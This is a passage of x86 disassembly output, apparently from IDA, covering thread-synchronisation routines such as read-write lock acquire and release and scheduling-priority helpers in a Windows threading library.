mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+1Aj
; sub_432ED0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432F26
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F26: ; CODE XREF: sub_432ED0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F84
lea ebx, [esi+4]
push eax
push ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F7B
push eax
lea eax, [esi+8]
push eax
call sub_40154B
mov edi, eax
add esp, 8
test edi, edi
jz short loc_432F9C
push ebx
call sub_402252
add esp, 4
loc_432F7B: ; CODE XREF: sub_432ED0+8Dj
push esi
call sub_402252
add esp, 4
loc_432F84: ; CODE XREF: sub_432ED0+7Aj
push esi
call near ptr 77C2C21Bh
nop
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F9C: ; CODE XREF: sub_432ED0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433000: ; CODE XREF: ___:004018BBj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_43313B
mov esi, [eax]
test esi, esi
jz loc_43313B
cmp esi, 0FFFFFFFFh
jz loc_4330F7
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43313B
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_433140
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_433069
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433069: ; CODE XREF: ___:00433057j
mov eax, [esi+10h]
test eax, eax
jg short loc_4330DD
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_4330DD
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_4330A0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4330A0: ; CODE XREF: ___:0043308Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_433140
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401AA5
push edi
mov ebx, eax
call sub_402252
push esi
mov edi, eax
call sub_402252
push esi
mov ebp, eax
call near ptr 77C2C21Bh
nop
add esp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330DD: ; CODE XREF: ___:0043306Ej
; ___:00433078j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330F7: ; CODE XREF: ___:00433023j
push offset dword_510960
call near ptr 7C901005h
nop
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_433113
mov dword ptr [eax], 0
jmp short loc_433118
; ---------------------------------------------------------------------------
loc_433113: ; CODE XREF: ___:00433109j
mov ebx, 10h
loc_433118: ; CODE XREF: ___:00433111j
push offset dword_510960
nop
call near ptr 7C9010EDh
loc_433123: ; CODE XREF: ___:004330DBj
; ___:004330F5j
test ebx, ebx
jz short loc_43312E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43312E: ; CODE XREF: ___:00433125j
test edi, edi
mov eax, edi
jnz short loc_433140
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43313B: ; CODE XREF: ___:00433010j
; ___:0043301Aj ...
mov eax, 16h
loc_433140: ; CODE XREF: ___:00433041j
; ___:004330AAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4331B0: ; CODE XREF: ___:00401EA6j
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_4331D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4331D3: ; CODE XREF: ___:004331C2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433200: ; CODE XREF: ___:0040179Ej
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_433221
mov eax, [ecx]
test eax, eax
jz short loc_433221
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433221: ; CODE XREF: ___:00433209j
; ___:0043320Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_43325D
mov eax, [eax]
test eax, eax
jz short loc_43325D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43325D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: ___:00433246j
; ___:0043324Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433280: ; CODE XREF: ___:004015A5j
mov eax, [esp+4]
test eax, eax
jz short loc_4332AA
mov ecx, [eax]
test ecx, ecx
jz short loc_4332AA
mov eax, [esp+8]
cmp eax, 1
jz short loc_43329E
test eax, eax
jnz short loc_4332AA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43329E: ; CODE XREF: ___:00433295j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_4332AA: ; CODE XREF: ___:00433286j
; ___:0043328Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4332C0: ; CODE XREF: ___:00402095j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43337A
mov eax, [esi]
test eax, eax
jz loc_43337A
cmp eax, 0FFFFFFFFh
jnz short loc_4332F4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4332F4
cmp eax, 10h
jnz loc_43337F
loc_4332F4: ; CODE XREF: ___:004332DCj
; ___:004332E9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43337A
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_43337F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43336D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43333D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43333D: ; CODE XREF: ___:0043332Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43336D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43336D: ; CODE XREF: ___:0043331Aj
; ___:0043335Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43337A: ; CODE XREF: ___:004332C9j
; ___:004332D3j ...
mov eax, 16h
loc_43337F: ; CODE XREF: ___:004332EEj
; ___:0043330Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333D0: ; CODE XREF: ___:004016A4j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43349F
mov eax, [esi]
test eax, eax
jz loc_43349F
cmp eax, 0FFFFFFFFh
jnz short loc_433404
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433404
cmp eax, 10h
jnz loc_4334A4
loc_433404: ; CODE XREF: ___:004333ECj
; ___:004333F9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43349F
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz short loc_4334A4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_433492
lea edi, [esi+4]
push ebx
push edi
call sub_401BD6
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_433462
cmp ebx, 274Ch
jnz short loc_433453
inc dword ptr [esi+14h]
loc_433453: ; CODE XREF: ___:0043344Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433462: ; CODE XREF: ___:00433446j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_433492
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433492: ; CODE XREF: ___:00433433j
; ___:00433481j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43349F: ; CODE XREF: ___:004333D9j
; ___:004333E3j ...
mov eax, 16h
loc_4334A4: ; CODE XREF: ___:004333FEj
; ___:00433423j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:004015D2j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4335E6
mov eax, [esi]
test eax, eax
jz loc_4335E6
cmp eax, 0FFFFFFFFh
jnz short loc_433527
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433527
cmp eax, 10h
jnz loc_4335EB
loc_433527: ; CODE XREF: ___:0043350Fj
; ___:0043351Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4335E6
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_4335EB
lea ebp, [esi+4]
push ebp
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43356B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43356B: ; CODE XREF: ___:00433557j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4335DA
mov eax, [esi+14h]
test eax, eax
jle short loc_433588
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433588: ; CODE XREF: ___:00433577j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4335DA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4335AB: ; CODE XREF: ___:004335C0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4335C2
mov eax, [esi+14h]
test eax, eax
jl short loc_4335AB
loc_4335C2: ; CODE XREF: ___:004335B9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4335DD
mov [esi+0Ch], edi
loc_4335DA: ; CODE XREF: ___:00433570j
; ___:0043358Dj
inc dword ptr [esi+10h]
loc_4335DD: ; CODE XREF: ___:004335D5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4335E6: ; CODE XREF: ___:004334FCj
; ___:00433506j ...
mov eax, 16h
loc_4335EB: ; CODE XREF: ___:00433521j
; ___:00433541j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433650: ; CODE XREF: ___:00401960j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_433751
mov eax, [esi]
test eax, eax
jz loc_433751
cmp eax, 0FFFFFFFFh
jnz short loc_433687
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433687
cmp eax, 10h
jnz loc_433756
loc_433687: ; CODE XREF: ___:0043366Fj
; ___:0043367Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433751
mov edi, [esp+20h]
push edi
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz loc_433756
lea ebp, [esi+4]
push edi
push ebp
call sub_401BD6
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4336D1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4336D1: ; CODE XREF: ___:004336BDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_433745
mov eax, [esi+14h]
test eax, eax
jle short loc_4336EE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4336EE: ; CODE XREF: ___:004336DDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433745
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_433711: ; CODE XREF: ___:0043372Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43372D
mov eax, [esi+14h]
test eax, eax
jl short loc_433711
loc_43372D: ; CODE XREF: ___:00433724j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_433748
mov [esi+0Ch], edi
loc_433745: ; CODE XREF: ___:004336D6j
; ___:004336F3j
inc dword ptr [esi+10h]
loc_433748: ; CODE XREF: ___:00433740j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_433751: ; CODE XREF: ___:0043365Cj
; ___:00433666j ...
mov eax, 16h
loc_433756: ; CODE XREF: ___:00433681j
; ___:004336A6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4337B0: ; CODE XREF: ___:004015C8j
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_433836
mov esi, [eax]
test esi, esi
jz short loc_433836
cmp esi, 0FFFFFFFFh
jnz short loc_4337CC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337CC: ; CODE XREF: ___:004337C4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_433836
mov eax, [esi+10h]
test eax, eax
jnz short loc_433814
lea ebx, [esi+4]
push ebx
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4337F2
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337F2: ; CODE XREF: ___:004337ECj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_433809
add esi, 8
push esi
call sub_401E6F
add esp, 4
mov edi, eax
loc_433809: ; CODE XREF: ___:004337F9j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43382C
; ---------------------------------------------------------------------------
loc_433814: ; CODE XREF: ___:004337DAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43382C: ; CODE XREF: ___:00433812j
test edi, edi
jz short loc_43383B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433836: ; CODE XREF: ___:004337B9j
; ___:004337BFj ...
mov eax, 16h
loc_43383B: ; CODE XREF: ___:0043382Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433870: ; CODE XREF: ___:0040153Cj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43392A
mov eax, [esi]
test eax, eax
jz loc_43392A
cmp eax, 0FFFFFFFFh
jnz short loc_4338A4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4338A4
cmp eax, 10h
jnz loc_43392F
loc_4338A4: ; CODE XREF: ___:0043388Cj
; ___:00433899j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43392A
push esi
call sub_401785
add esp, 4
test eax, eax
jnz short loc_43392F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43391D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4338ED
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4338ED: ; CODE XREF: ___:004338DCj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43391D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43391D: ; CODE XREF: ___:004338CAj
; ___:0043390Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43392A: ; CODE XREF: ___:00433879j
; ___:00433883j ...
mov eax, 16h
loc_43392F: ; CODE XREF: ___:0043389Ej
; ___:004338BAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433980: ; CODE XREF: ___:00401FF0j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_433A61
mov eax, [esi]
test eax, eax
jz loc_433A61
cmp eax, 0FFFFFFFFh
jnz short loc_4339B4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4339B4
cmp eax, 10h
jnz loc_433A66
loc_4339B4: ; CODE XREF: ___:0043399Cj
; ___:004339A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433A61
push esi
call sub_401785
add esp, 4
test eax, eax
jnz loc_433A66
lea ebx, [esi+4]
push ebx
call sub_401785
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4339F9
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_433A66
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4339F9: ; CODE XREF: ___:004339E4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_433A49
mov eax, [esi+14h]
test eax, eax
jle short loc_433A16
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433A16: ; CODE XREF: ___:00433A05j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433A54
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_433A3B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A3B: ; CODE XREF: ___:00433A2Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433A4E
loc_433A49: ; CODE XREF: ___:004339FEj
mov edi, 10h
loc_433A4E: ; CODE XREF: ___:00433A47j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A54: ; CODE XREF: ___:00433A1Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A61: ; CODE XREF: ___:00433989j
; ___:00433993j ...
mov eax, 16h
loc_433A66: ; CODE XREF: ___:004339AEj
; ___:004339CEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AB0: ; CODE XREF: ___:00401C0Dj
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433AC7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_433AC7: ; CODE XREF: ___:00433ABFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AF0: ; CODE XREF: ___:00401EB5j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B17
mov eax, [esp+8]
test eax, eax
jz short loc_433B17
cmp eax, 2
jbe short loc_433B17
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433B17: ; CODE XREF: ___:00433AFFj
; ___:00433B07j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433B30: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B76
mov edi, [esp+14h]
test edi, edi
jz short loc_433B76
mov esi, [edi]
push eax
call sub_401555
add esp, 4
cmp esi, eax
jl short loc_433B76
push 0
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433B76
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433B76: ; CODE XREF: ___:00433B42j
; ___:00433B4Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BA0: ; CODE XREF: ___:00401EFBj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433BC5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433BC5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433BC5: ; CODE XREF: ___:00433BB0j
; ___:00433BB8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BE0: ; CODE XREF: ___:004015BEj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433BF9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433BF9: ; CODE XREF: ___:00433BF0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C0D
cmp eax, 1
jz short loc_433C0D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C0D: ; CODE XREF: ___:00433BFFj
; ___:00433C04j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433C30: ; CODE XREF: ___:004019E7j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433C55
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C55
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433C55: ; CODE XREF: ___:00433C40j
; ___:00433C48j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433C70 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433CB5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_433CB0
cmp eax, 2
jg short loc_433CB0
test eax, eax
jz short loc_433C9C
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C9C: ; CODE XREF: sub_433C70+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020D1
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_433CB0: ; CODE XREF: sub_433C70+1Aj
; sub_433C70+1Fj
mov eax, 16h
loc_433CB5: ; CODE XREF: sub_433C70+12j
pop esi
retn
sub_433C70 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433CE0 proc near ; CODE XREF: sub_4020D1j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_401555
add esp, 4
cmp esi, eax
jl loc_433D85
push edi
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433D85
cmp esi, 0FFFFFFF1h
jle short loc_433D20
cmp esi, 0FFFFFFFEh
jge short loc_433D20
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_433D32
; ---------------------------------------------------------------------------
loc_433D20: ; CODE XREF: sub_433CE0+2Fj
; sub_433CE0+34j
cmp esi, 0Fh
jge short loc_433D32
cmp esi, 2
jle short loc_433D32
mov [esp+8+arg_8], 2
loc_433D32: ; CODE XREF: sub_433CE0+3Ej
; sub_433CE0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_433D7E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 27508F4h
test eax, eax
jnz short loc_433D72
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D72: ; CODE XREF: sub_433CE0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_433D7E: ; CODE XREF: sub_433CE0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D85: ; CODE XREF: sub_433CE0+19j
; sub_433CE0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_433CE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433DC0 proc near ; CODE XREF: sub_4021B2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433DF9
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_433DF4
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_433DF4
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433DF4: ; CODE XREF: sub_433DC0+1Bj
; sub_433DC0+23j
mov eax, 16h
loc_433DF9: ; CODE XREF: sub_433DC0+12j
pop esi
retn
sub_433DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E10 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E23
cmp eax, 2
jg short loc_433E23
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_433E23: ; CODE XREF: sub_433E10+6j
; sub_433E10+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E10 endp
